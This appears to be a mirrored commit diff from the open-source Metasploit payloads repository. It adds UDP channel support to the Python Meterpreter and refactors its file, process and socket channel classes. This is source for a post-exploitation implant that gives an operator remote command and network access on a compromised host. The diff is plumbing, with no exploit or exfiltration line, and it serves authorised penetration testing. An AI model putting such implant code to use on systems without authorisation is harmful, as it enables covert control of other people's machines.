mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-18 15:14:10 +01:00
Land #276, add UDP channel support to Python meterpreter
This commit is contained in:
commit
5f09a324bf
python/meterpreter
@ -871,7 +871,7 @@ def channel_open_stdapi_net_tcp_client(request, response):
|
|||||||
pass
|
pass
|
||||||
if not connected:
|
if not connected:
|
||||||
return ERROR_CONNECTION_ERROR, response
|
return ERROR_CONNECTION_ERROR, response
|
||||||
channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock))
|
channel_id = meterpreter.add_channel(MeterpreterSocketTCPClient(sock))
|
||||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@ -883,7 +883,19 @@ def channel_open_stdapi_net_tcp_server(request, response):
|
|||||||
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
server_sock.bind((local_host, local_port))
|
server_sock.bind((local_host, local_port))
|
||||||
server_sock.listen(socket.SOMAXCONN)
|
server_sock.listen(socket.SOMAXCONN)
|
||||||
channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock))
|
channel_id = meterpreter.add_channel(MeterpreterSocketTCPServer(server_sock))
|
||||||
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@register_function
|
||||||
|
def channel_open_stdapi_net_udp_client(request, response):
|
||||||
|
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
|
||||||
|
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT).get('value', 0)
|
||||||
|
peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
|
||||||
|
peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value', 0)
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
sock.bind((local_host, local_port))
|
||||||
|
channel_id = meterpreter.add_channel(MeterpreterSocketUDPClient(sock, (peer_host, peer_port)))
|
||||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@ -1006,7 +1018,7 @@ def stdapi_sys_process_execute(request, response):
|
|||||||
response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
|
response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
|
||||||
response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
|
response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
|
||||||
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
||||||
channel_id = meterpreter.add_channel(proc_h)
|
channel_id = meterpreter.add_channel(MeterpreterProcess(proc_h))
|
||||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@ -1686,7 +1698,7 @@ def stdapi_net_socket_tcp_shutdown(request, response):
|
|||||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||||
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
|
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
|
||||||
channel = meterpreter.channels[channel_id]
|
channel = meterpreter.channels[channel_id]
|
||||||
channel.shutdown(how)
|
channel.sock.shutdown(how)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
def _linux_get_maps():
|
def _linux_get_maps():
|
||||||
|
@ -377,38 +377,167 @@ def tlv_pack(*args):
|
|||||||
return data
|
return data
|
||||||
|
|
||||||
@export
|
@export
|
||||||
def tlv_pack_response(result, response):
|
def tlv_pack_request(method, parts=None):
|
||||||
response += tlv_pack(TLV_TYPE_RESULT, result)
|
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||||
response = struct.pack('>I', len(response) + 4) + response
|
pkt += tlv_pack(TLV_TYPE_METHOD, method)
|
||||||
return response
|
pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
||||||
|
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||||
|
parts = parts or []
|
||||||
|
for part in parts:
|
||||||
|
pkt += tlv_pack(part['type'], part['value'])
|
||||||
|
return pkt
|
||||||
|
|
||||||
#@export
|
#@export
|
||||||
class MeterpreterFile(object):
|
class MeterpreterChannel(object):
|
||||||
|
def core_close(self, request, response):
|
||||||
|
self.close()
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def core_eof(self, request, response):
|
||||||
|
response += tlv_pack(TLV_TYPE_BOOL, self.eof())
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def core_read(self, request, response):
|
||||||
|
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
||||||
|
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, self.read(length))
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def core_write(self, request, response):
|
||||||
|
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
||||||
|
response += tlv_pack(TLV_TYPE_LENGTH, self.write(channel_data))
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
def eof(self):
|
||||||
|
return False
|
||||||
|
|
||||||
|
def is_alive(self):
|
||||||
|
return True
|
||||||
|
|
||||||
|
def notify(self):
|
||||||
|
return None
|
||||||
|
|
||||||
|
def read(self, length):
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
def write(self, data):
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
#@export
|
||||||
|
class MeterpreterFile(MeterpreterChannel):
|
||||||
def __init__(self, file_obj):
|
def __init__(self, file_obj):
|
||||||
self.file_obj = file_obj
|
self.file_obj = file_obj
|
||||||
|
super(MeterpreterFile, self).__init__()
|
||||||
|
|
||||||
def __getattr__(self, name):
|
def close(self):
|
||||||
return getattr(self.file_obj, name)
|
self.file_obj.close()
|
||||||
|
|
||||||
|
def eof(self):
|
||||||
|
return self.file_obj.tell() >= os.fstat(self.file_obj.fileno()).st_size
|
||||||
|
|
||||||
|
def read(self, length):
|
||||||
|
return self.file_obj.read(length)
|
||||||
|
|
||||||
|
def write(self, data):
|
||||||
|
self.file_obj.write(data)
|
||||||
|
return len(data)
|
||||||
export(MeterpreterFile)
|
export(MeterpreterFile)
|
||||||
|
|
||||||
#@export
|
#@export
|
||||||
class MeterpreterSocket(object):
|
class MeterpreterProcess(MeterpreterChannel):
|
||||||
|
def __init__(self, proc_h):
|
||||||
|
self.proc_h = proc_h
|
||||||
|
super(MeterpreterProcess, self).__init__()
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
self.proc_h.kill()
|
||||||
|
|
||||||
|
def is_alive(self):
|
||||||
|
return self.proc_h.poll() is None
|
||||||
|
|
||||||
|
def read(self, length):
|
||||||
|
data = ''
|
||||||
|
stdout_reader = self.proc_h.stdout_reader
|
||||||
|
if stdout_reader.is_read_ready():
|
||||||
|
data = stdout_reader.read(length)
|
||||||
|
return data
|
||||||
|
|
||||||
|
def write(self, data):
|
||||||
|
self.proc_h.write(data)
|
||||||
|
return len(data)
|
||||||
|
export(MeterpreterProcess)
|
||||||
|
|
||||||
|
#@export
|
||||||
|
class MeterpreterSocket(MeterpreterChannel):
|
||||||
def __init__(self, sock):
|
def __init__(self, sock):
|
||||||
self.sock = sock
|
self.sock = sock
|
||||||
|
self._is_alive = True
|
||||||
|
super(MeterpreterSocket, self).__init__()
|
||||||
|
|
||||||
def __getattr__(self, name):
|
def core_write(self, request, response):
|
||||||
return getattr(self.sock, name)
|
try:
|
||||||
|
status, response = super(MeterpreterSocket, self).core_write(request, response)
|
||||||
|
except socket.error:
|
||||||
|
self.close()
|
||||||
|
self._is_alive = False
|
||||||
|
status = ERROR_FAILURE
|
||||||
|
return status, response
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
return self.sock.close()
|
||||||
|
|
||||||
|
def fileno(self):
|
||||||
|
return self.sock.fileno()
|
||||||
|
|
||||||
|
def is_alive(self):
|
||||||
|
return self._is_alive
|
||||||
|
|
||||||
|
def read(self, length):
|
||||||
|
return self.sock.recv(length)
|
||||||
|
|
||||||
|
def write(self, data):
|
||||||
|
return self.sock.send(data)
|
||||||
export(MeterpreterSocket)
|
export(MeterpreterSocket)
|
||||||
|
|
||||||
#@export
|
#@export
|
||||||
class MeterpreterSocketClient(MeterpreterSocket):
|
class MeterpreterSocketTCPClient(MeterpreterSocket):
|
||||||
pass
|
pass
|
||||||
export(MeterpreterSocketClient)
|
export(MeterpreterSocketTCPClient)
|
||||||
|
|
||||||
#@export
|
#@export
|
||||||
class MeterpreterSocketServer(MeterpreterSocket):
|
class MeterpreterSocketTCPServer(MeterpreterSocket):
|
||||||
pass
|
pass
|
||||||
export(MeterpreterSocketServer)
|
export(MeterpreterSocketTCPServer)
|
||||||
|
|
||||||
|
#@export
|
||||||
|
class MeterpreterSocketUDPClient(MeterpreterSocket):
|
||||||
|
def __init__(self, sock, peer_address):
|
||||||
|
super(MeterpreterSocketUDPClient, self).__init__(sock)
|
||||||
|
self.peer_address = peer_address
|
||||||
|
|
||||||
|
def core_write(self, request, response):
|
||||||
|
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
||||||
|
peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST).get('value', self.peer_address[0])
|
||||||
|
peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value', self.peer_address[1])
|
||||||
|
try:
|
||||||
|
length = self.sock.sendto(channel_data, (peer_host, peer_port))
|
||||||
|
except socket.error:
|
||||||
|
self.close()
|
||||||
|
self._is_alive = False
|
||||||
|
status = ERROR_FAILURE
|
||||||
|
else:
|
||||||
|
response += tlv_pack(TLV_TYPE_LENGTH, length)
|
||||||
|
status = ERROR_SUCCESS
|
||||||
|
return status, response
|
||||||
|
|
||||||
|
def read(self, length):
|
||||||
|
return self.sock.recvfrom(length)[0]
|
||||||
|
|
||||||
|
def write(self, data):
|
||||||
|
self.sock.sendto(data, self.peer_address)
|
||||||
|
export(MeterpreterSocketUDPClient)
|
||||||
|
|
||||||
class STDProcessBuffer(threading.Thread):
|
class STDProcessBuffer(threading.Thread):
|
||||||
def __init__(self, std, is_alive):
|
def __init__(self, std, is_alive):
|
||||||
@ -451,14 +580,17 @@ class STDProcess(subprocess.Popen):
|
|||||||
subprocess.Popen.__init__(self, *args, **kwargs)
|
subprocess.Popen.__init__(self, *args, **kwargs)
|
||||||
self.echo_protection = False
|
self.echo_protection = False
|
||||||
|
|
||||||
|
def is_alive(self):
|
||||||
|
return self.poll() is None
|
||||||
|
|
||||||
def start(self):
|
def start(self):
|
||||||
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
|
self.stdout_reader = STDProcessBuffer(self.stdout, self.is_alive)
|
||||||
self.stdout_reader.start()
|
self.stdout_reader.start()
|
||||||
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
self.stderr_reader = STDProcessBuffer(self.stderr, self.is_alive)
|
||||||
self.stderr_reader.start()
|
self.stderr_reader.start()
|
||||||
|
|
||||||
def write(self, channel_data):
|
def write(self, channel_data):
|
||||||
self.stdin.write(channel_data)
|
length = self.stdin.write(channel_data)
|
||||||
self.stdin.flush()
|
self.stdin.flush()
|
||||||
if self.echo_protection:
|
if self.echo_protection:
|
||||||
end_time = time.time() + 0.5
|
end_time = time.time() + 0.5
|
||||||
@ -468,6 +600,7 @@ class STDProcess(subprocess.Popen):
|
|||||||
out_data = self.stdout_reader.peek(len(channel_data))
|
out_data = self.stdout_reader.peek(len(channel_data))
|
||||||
if out_data == channel_data:
|
if out_data == channel_data:
|
||||||
self.stdout_reader.read(len(channel_data))
|
self.stdout_reader.read(len(channel_data))
|
||||||
|
return length
|
||||||
export(STDProcess)
|
export(STDProcess)
|
||||||
|
|
||||||
class Transport(object):
|
class Transport(object):
|
||||||
@ -573,6 +706,7 @@ class Transport(object):
|
|||||||
return result
|
return result
|
||||||
|
|
||||||
def send_packet(self, pkt):
|
def send_packet(self, pkt):
|
||||||
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||||
self.request_retire = False
|
self.request_retire = False
|
||||||
try:
|
try:
|
||||||
self._send_packet(self.encrypt_packet(pkt))
|
self._send_packet(self.encrypt_packet(pkt))
|
||||||
@ -827,7 +961,9 @@ class PythonMeterpreter(object):
|
|||||||
return func
|
return func
|
||||||
|
|
||||||
def add_channel(self, channel):
|
def add_channel(self, channel):
|
||||||
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
|
if not isinstance(channel, MeterpreterChannel):
|
||||||
|
debug_print('[-] channel object is not an instance of MeterpreterChannel')
|
||||||
|
raise TypeError('invalid channel object')
|
||||||
idx = self.next_channel_id
|
idx = self.next_channel_id
|
||||||
self.channels[idx] = channel
|
self.channels[idx] = channel
|
||||||
debug_print('[*] added channel id: ' + str(idx) + ' type: ' + channel.__class__.__name__)
|
debug_print('[*] added channel id: ' + str(idx) + ' type: ' + channel.__class__.__name__)
|
||||||
@ -902,69 +1038,72 @@ class PythonMeterpreter(object):
|
|||||||
self._transport_sleep = None
|
self._transport_sleep = None
|
||||||
if not self.transport.activate():
|
if not self.transport.activate():
|
||||||
self.transport_change()
|
self.transport_change()
|
||||||
continue
|
continue
|
||||||
# iterate over the keys because self.channels could be modified if one is closed
|
# iterate over the keys because self.channels could be modified if one is closed
|
||||||
channel_ids = list(self.channels.keys())
|
channel_ids = list(self.channels.keys())
|
||||||
for channel_id in channel_ids:
|
for channel_id in channel_ids:
|
||||||
channel = self.channels[channel_id]
|
channel = self.channels[channel_id]
|
||||||
data = bytes()
|
data = bytes()
|
||||||
if isinstance(channel, STDProcess):
|
write_request_parts = []
|
||||||
|
if isinstance(channel, MeterpreterProcess):
|
||||||
if not channel_id in self.interact_channels:
|
if not channel_id in self.interact_channels:
|
||||||
continue
|
continue
|
||||||
if channel.stderr_reader.is_read_ready():
|
proc_h = channel.proc_h
|
||||||
data = channel.stderr_reader.read()
|
if proc_h.stderr_reader.is_read_ready():
|
||||||
elif channel.stdout_reader.is_read_ready():
|
data = proc_h.stderr_reader.read()
|
||||||
data = channel.stdout_reader.read()
|
elif proc_h.stdout_reader.is_read_ready():
|
||||||
elif channel.poll() != None:
|
data = proc_h.stdout_reader.read()
|
||||||
|
elif not channel.is_alive():
|
||||||
self.handle_dead_resource_channel(channel_id)
|
self.handle_dead_resource_channel(channel_id)
|
||||||
elif isinstance(channel, MeterpreterSocketClient):
|
elif isinstance(channel, MeterpreterSocketTCPClient):
|
||||||
while select.select([channel.fileno()], [], [], 0)[0]:
|
while select.select([channel.fileno()], [], [], 0)[0]:
|
||||||
try:
|
try:
|
||||||
d = channel.recv(1)
|
d = channel.read(1)
|
||||||
except socket.error:
|
except socket.error:
|
||||||
d = bytes()
|
d = bytes()
|
||||||
if len(d) == 0:
|
if len(d) == 0:
|
||||||
self.handle_dead_resource_channel(channel_id)
|
self.handle_dead_resource_channel(channel_id)
|
||||||
break
|
break
|
||||||
data += d
|
data += d
|
||||||
elif isinstance(channel, MeterpreterSocketServer):
|
elif isinstance(channel, MeterpreterSocketTCPServer):
|
||||||
if select.select([channel.fileno()], [], [], 0)[0]:
|
if select.select([channel.fileno()], [], [], 0)[0]:
|
||||||
(client_sock, client_addr) = channel.accept()
|
(client_sock, client_addr) = channel.sock.accept()
|
||||||
server_addr = channel.getsockname()
|
server_addr = channel.sock.getsockname()
|
||||||
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
|
client_channel_id = self.add_channel(MeterpreterSocketTCPClient(client_sock))
|
||||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
self.send_packet(tlv_pack_request('tcp_channel_open', [
|
||||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
|
{'type': TLV_TYPE_CHANNEL_ID, 'value': client_channel_id},
|
||||||
pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
{'type': TLV_TYPE_CHANNEL_PARENTID, 'value': channel_id},
|
||||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
|
{'type': TLV_TYPE_LOCAL_HOST, 'value': inet_pton(channel.sock.family, server_addr[0])},
|
||||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
|
{'type': TLV_TYPE_LOCAL_PORT, 'value': server_addr[1]},
|
||||||
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
|
{'type': TLV_TYPE_PEER_HOST, 'value': inet_pton(client_sock.family, client_addr[0])},
|
||||||
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
|
{'type': TLV_TYPE_PEER_PORT, 'value': client_addr[1]},
|
||||||
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
]))
|
||||||
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
elif isinstance(channel, MeterpreterSocketUDPClient):
|
||||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
if select.select([channel.fileno()], [], [], 0)[0]:
|
||||||
self.send_packet(pkt)
|
try:
|
||||||
|
data, peer_address = channel.sock.recvfrom(65535)
|
||||||
|
except socket.error:
|
||||||
|
self.handle_dead_resource_channel(channel_id)
|
||||||
|
else:
|
||||||
|
write_request_parts.extend([
|
||||||
|
{'type': TLV_TYPE_PEER_HOST, 'value': peer_address[0]},
|
||||||
|
{'type': TLV_TYPE_PEER_PORT, 'value': peer_address[1]},
|
||||||
|
])
|
||||||
if data:
|
if data:
|
||||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
write_request_parts.extend([
|
||||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
{'type': TLV_TYPE_CHANNEL_ID, 'value': channel_id},
|
||||||
pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
{'type': TLV_TYPE_CHANNEL_DATA, 'value': data},
|
||||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
{'type': TLV_TYPE_LENGTH, 'value': len(data)},
|
||||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
])
|
||||||
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
|
self.send_packet(tlv_pack_request('core_channel_write', write_request_parts))
|
||||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
|
||||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
|
||||||
self.send_packet(pkt)
|
|
||||||
|
|
||||||
def handle_dead_resource_channel(self, channel_id):
|
def handle_dead_resource_channel(self, channel_id):
|
||||||
del self.channels[channel_id]
|
del self.channels[channel_id]
|
||||||
if channel_id in self.interact_channels:
|
if channel_id in self.interact_channels:
|
||||||
self.interact_channels.remove(channel_id)
|
self.interact_channels.remove(channel_id)
|
||||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
self.send_packet(tlv_pack_request('core_channel_close', [
|
||||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
|
{'type': TLV_TYPE_CHANNEL_ID, 'value': channel_id},
|
||||||
pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
]))
|
||||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
|
||||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
||||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
|
||||||
self.send_packet(pkt)
|
|
||||||
|
|
||||||
def _core_set_uuid(self, request, response):
|
def _core_set_uuid(self, request, response):
|
||||||
new_uuid = packet_get_tlv(request, TLV_TYPE_UUID)
|
new_uuid = packet_get_tlv(request, TLV_TYPE_UUID)
|
||||||
@ -1060,7 +1199,7 @@ class PythonMeterpreter(object):
|
|||||||
def _core_transport_change(self, request, response):
|
def _core_transport_change(self, request, response):
|
||||||
new_transport = Transport.from_request(request)
|
new_transport = Transport.from_request(request)
|
||||||
self.transport_add(new_transport)
|
self.transport_add(new_transport)
|
||||||
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
|
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
|
||||||
self.transport_change(new_transport)
|
self.transport_change(new_transport)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
@ -1079,7 +1218,7 @@ class PythonMeterpreter(object):
|
|||||||
new_transport = self.transport_next()
|
new_transport = self.transport_next()
|
||||||
if new_transport == self.transport:
|
if new_transport == self.transport:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
|
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
|
||||||
self.transport_change(new_transport)
|
self.transport_change(new_transport)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
@ -1087,7 +1226,7 @@ class PythonMeterpreter(object):
|
|||||||
new_transport = self.transport_prev()
|
new_transport = self.transport_prev()
|
||||||
if new_transport == self.transport:
|
if new_transport == self.transport:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
|
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
|
||||||
self.transport_change(new_transport)
|
self.transport_change(new_transport)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
@ -1127,7 +1266,7 @@ class PythonMeterpreter(object):
|
|||||||
|
|
||||||
def _core_transport_sleep(self, request, response):
|
def _core_transport_sleep(self, request, response):
|
||||||
seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
|
seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
|
||||||
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
|
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
|
||||||
if seconds:
|
if seconds:
|
||||||
self._transport_sleep = seconds
|
self._transport_sleep = seconds
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
@ -1136,7 +1275,9 @@ class PythonMeterpreter(object):
|
|||||||
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
||||||
handler = 'channel_open_' + channel_type['value']
|
handler = 'channel_open_' + channel_type['value']
|
||||||
if handler not in self.extension_functions:
|
if handler not in self.extension_functions:
|
||||||
|
debug_print('[-] core_channel_open missing handler: ' + handler)
|
||||||
return error_result(NotImplementedError), response
|
return error_result(NotImplementedError), response
|
||||||
|
debug_print('[*] core_channel_open dispatching to handler: ' + handler)
|
||||||
handler = self.extension_functions[handler]
|
handler = self.extension_functions[handler]
|
||||||
return handler(request, response)
|
return handler(request, response)
|
||||||
|
|
||||||
@ -1145,31 +1286,23 @@ class PythonMeterpreter(object):
|
|||||||
if channel_id not in self.channels:
|
if channel_id not in self.channels:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
channel = self.channels[channel_id]
|
channel = self.channels[channel_id]
|
||||||
if isinstance(channel, subprocess.Popen):
|
status, response = channel.core_close(request, response)
|
||||||
channel.kill()
|
if status == ERROR_SUCCESS:
|
||||||
elif isinstance(channel, MeterpreterFile):
|
del self.channels[channel_id]
|
||||||
channel.close()
|
if channel_id in self.interact_channels:
|
||||||
elif isinstance(channel, MeterpreterSocket):
|
self.interact_channels.remove(channel_id)
|
||||||
channel.close()
|
debug_print('[*] closed and removed channel id: ' + str(channel_id))
|
||||||
else:
|
return status, response
|
||||||
return ERROR_FAILURE, response
|
|
||||||
del self.channels[channel_id]
|
|
||||||
if channel_id in self.interact_channels:
|
|
||||||
self.interact_channels.remove(channel_id)
|
|
||||||
debug_print('[*] closed and removed channel id: ' + str(channel_id))
|
|
||||||
return ERROR_SUCCESS, response
|
|
||||||
|
|
||||||
def _core_channel_eof(self, request, response):
|
def _core_channel_eof(self, request, response):
|
||||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||||
if channel_id not in self.channels:
|
if channel_id not in self.channels:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
channel = self.channels[channel_id]
|
channel = self.channels[channel_id]
|
||||||
result = False
|
status, response = channel.core_eof(request, response)
|
||||||
if isinstance(channel, MeterpreterFile):
|
|
||||||
result = channel.tell() >= os.fstat(channel.fileno()).st_size
|
|
||||||
response += tlv_pack(TLV_TYPE_BOOL, result)
|
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
|
||||||
def _core_channel_interact(self, request, response):
|
def _core_channel_interact(self, request, response):
|
||||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||||
if channel_id not in self.channels:
|
if channel_id not in self.channels:
|
||||||
@ -1187,67 +1320,42 @@ class PythonMeterpreter(object):
|
|||||||
|
|
||||||
def _core_channel_read(self, request, response):
|
def _core_channel_read(self, request, response):
|
||||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||||
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
|
||||||
if channel_id not in self.channels:
|
if channel_id not in self.channels:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
channel = self.channels[channel_id]
|
channel = self.channels[channel_id]
|
||||||
data = ''
|
status, response = channel.core_read(request, response)
|
||||||
if isinstance(channel, STDProcess):
|
if not channel.is_alive():
|
||||||
if channel.poll() != None:
|
self.handle_dead_resource_channel(channel_id)
|
||||||
self.handle_dead_resource_channel(channel_id)
|
return status, response
|
||||||
if channel.stdout_reader.is_read_ready():
|
|
||||||
data = channel.stdout_reader.read(length)
|
|
||||||
elif isinstance(channel, MeterpreterFile):
|
|
||||||
data = channel.read(length)
|
|
||||||
elif isinstance(channel, MeterpreterSocket):
|
|
||||||
data = channel.recv(length)
|
|
||||||
else:
|
|
||||||
return ERROR_FAILURE, response
|
|
||||||
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
|
||||||
return ERROR_SUCCESS, response
|
|
||||||
|
|
||||||
def _core_channel_write(self, request, response):
|
def _core_channel_write(self, request, response):
|
||||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||||
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
|
||||||
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
|
||||||
if channel_id not in self.channels:
|
if channel_id not in self.channels:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
channel = self.channels[channel_id]
|
channel = self.channels[channel_id]
|
||||||
l = len(channel_data)
|
status = ERROR_FAILURE
|
||||||
if isinstance(channel, subprocess.Popen):
|
if channel.is_alive():
|
||||||
if channel.poll() != None:
|
status, response = channel.core_write(request, response)
|
||||||
self.handle_dead_resource_channel(channel_id)
|
# evaluate channel.is_alive() twice because it could have changed
|
||||||
return ERROR_FAILURE, response
|
if not channel.is_alive():
|
||||||
channel.write(channel_data)
|
self.handle_dead_resource_channel(channel_id)
|
||||||
elif isinstance(channel, MeterpreterFile):
|
return status, response
|
||||||
channel.write(channel_data)
|
|
||||||
elif isinstance(channel, MeterpreterSocket):
|
|
||||||
try:
|
|
||||||
l = channel.send(channel_data)
|
|
||||||
except socket.error:
|
|
||||||
channel.close()
|
|
||||||
self.handle_dead_resource_channel(channel_id)
|
|
||||||
return ERROR_FAILURE, response
|
|
||||||
else:
|
|
||||||
return ERROR_FAILURE, response
|
|
||||||
response += tlv_pack(TLV_TYPE_LENGTH, l)
|
|
||||||
return ERROR_SUCCESS, response
|
|
||||||
|
|
||||||
def create_response(self, request):
|
def create_response(self, request):
|
||||||
resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
|
response = struct.pack('>I', PACKET_TYPE_RESPONSE)
|
||||||
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
|
